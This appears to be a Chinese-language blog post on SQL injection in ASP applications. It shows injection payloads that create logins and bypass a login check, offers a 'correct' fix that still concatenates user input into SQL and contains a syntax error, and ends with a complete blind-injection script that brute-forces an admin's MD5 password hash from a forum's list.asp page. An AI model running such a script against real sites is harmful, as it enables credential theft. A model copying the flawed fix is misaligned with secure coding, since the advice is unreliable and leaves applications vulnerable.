天天看點

SQL注入風險小例

在asp程式中,如果我們的程式設計不當,就有可能面臨資料庫被别人控制的危險 以下是一個簡單的使用者更改密碼的代碼 --------------------- username=request("user_name") pwd=request("pwd") username=replace(username,"'","''") pwd=replace(pwd,"'","''") sql="update tbl_test set pwd='" & pwd & "' where uid='" & username & "'" set rs=conn.execute (sql) -------------- 現在,假如我注冊一個使用者,使用者名為 aa'; exec sp_addlogin 'haha 當該使用者更改密碼時(假設改為pp),會出現什麼後果呢?? sql變為 update tbl_test set pwd='pp' where uid='aa' ; exec sp_addlogin 'haha' 結果是使用者密碼沒有被修改,因為沒有 aa這個使用者,但在你的資料庫中建立了一個登陸,新登陸名為 haha 将使用者名稍加修改,實際上可以運作任何sql語句,任何sql系統過程而這一切都在你不知情的情況下發生的,實際上,上面的隻是一個 示範,稍微修改一下使用者名,我們可以做添加一個dba賬号,删除所 有紀錄,讀取使用者密碼等越權操作。 解決的辦法: 在你使用參數前,對參數進行嚴格檢驗,尤其是使用者輸入的參數 不但要對其資料類型,長度進行檢查,還要對其内容進行檢查。 我們再看一段代碼。(使用者登陸) username=request("user_name") pwd=request("pwd") username=replace(username,"'","''") pwd=replace(pwd,"'","''") sql="select uid,pwd from account where uid='" & username & "' and pwd='" & pwd "'" rs.open sql,conn,1,1 if not rs.eof then response.write rs(0) & "歡迎您,您已登陸成功" else response.write "登陸失敗,錯誤的使用者名或密碼" end if ............ 以上程式的漏洞是顯而易見的 我們可以以 使用者名: admin 密碼: a' or '1'='1 輕易以admin的賬号登陸系統因為我們的sql 變為了 select uid,pwd from account where uid='admin' and pwd='a' or '1'='1' 顯然 uid='admin' and pwd='a' or '1'='1'是恒為成立的是以 rs.eof 為false 正确的寫法應為 sql="select uid,pwd from account where uid='" & username & "' and pwd='" & pwd "'" rs.open sql,conn,1,1 if rs(0)=username and rs(1)=pwd then response.write rs(0) & "歡迎您,您已登陸成功" else response.write "登陸失敗,錯誤的使用者名或密碼" end if ----全文完--------

'請勿用于非法用途,本代碼隻是為了讓廣大asp愛好者明白原理,防範于未然。

function bytes2bstr(vin)

dim strreturn

dim i,thischarcode,nextcharcode

strreturn = ""

for i = 1 to lenb(vin)

thischarcode = ascb(midb(vin,i,1))

if thischarcode < &h80 then

strreturn = strreturn & chr(thischarcode)

else

nextcharcode = ascb(midb(vin,i+1,1))

strreturn = strreturn & chr(clng(thischarcode) * &h100 + cint(nextcharcode))

i = i + 1

end if

next

bytes2bstr = strreturn

end function

function gethttppage(url)

dim http

set http=createobject("msxml2.xmlhttp")

http.open "get",url,false

http.send()

if http.readystate<>4 then

exit function

end if

gethttppage=bytes2bstr(http.responsebody)

set http=nothing

if err.number<>0 then err.clear

end function

function regexptest(patrn, strng)

dim regex, retval ' 建立變量。

set regex = new regexp ' 建立正規表達式。

regex.pattern = patrn ' 設定模式。

regex.ignorecase = false ' 設定是否區分大小寫。

regexptest = regex.test(strng) ' 執行搜尋測試。

end function

password=""

keyword="論壇首頁"'傳回正确頁面會出現的字元串

url1="http://qq/bbs/list.asp?boardid=7"'sql注入入口

passlen=32'md5密碼通常是32位

dim pass

pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密碼值通常是0-9,a-f

server.scripttimeout=999

for i=1 to passlen

flag=false

url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'構造的sql語句這裡才是關鍵

for j=0 to ubound(pass)

str=gethttppage(url&pass(j))

flag=regexptest(keyword,str)

if flag=true then

password=password&chr(pass(j))

exit for

end if

next

next

response.write(password)